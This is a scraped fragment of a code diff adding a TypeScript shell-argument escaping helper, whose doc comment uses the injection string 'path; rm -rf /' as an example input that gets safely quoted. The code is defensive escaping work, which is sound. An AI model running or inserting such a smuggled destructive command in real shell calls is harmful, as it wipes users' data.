* shellEscape("file.txt") => "'file.txt'"
|
|
15
|
+
* shellEscape("file'name.txt") => "'file'\\''name.txt'"
|
|
16
|
+
* shellEscape("path; rm -rf /") => "'path; rm -rf /'"
|
|
17
|
+
*/
|
|
18
|
+
export function shellEscape(str: string): string {
|
|
19
|
+
// Replace single quotes with: '\'' (end quote, escaped quote, start quote)
|
|
20
|
+
// This works because: 'string' becomes 'string'\''more' which the shell interprets as 'string'more'
|
|
21
|
+
return `'${str.replace(/'/g, "'\\''")}'`;
|
|
22
|
+
}
|
|
23
|
+
|
|
24
|
+
/**
|
|
25
|
+
* Escapes multiple strings and joins them with spaces
|
|
26
|
+
* Useful for escaping command arguments
|
|
27
|
+
*
|
|
28
|
+
* @param args - Array of strings to escape
|
|
29
|
+
* @returns Space-separated escaped strings
|
|
30
|
+
*
|
|
31
|
+
* @example
|
|
32
|
+
* shellEscapeArgs(["file.txt", "path with spaces"]) => "'file.txt' 'path with spaces'"
|
|
33
|
+
*/
|
|
34
|
+
export function shellEscapeArgs(args: string[]): string {
|
|
35
|
+
return args.map(shellEscape).join(" ");
|
|
36
|
+
}
|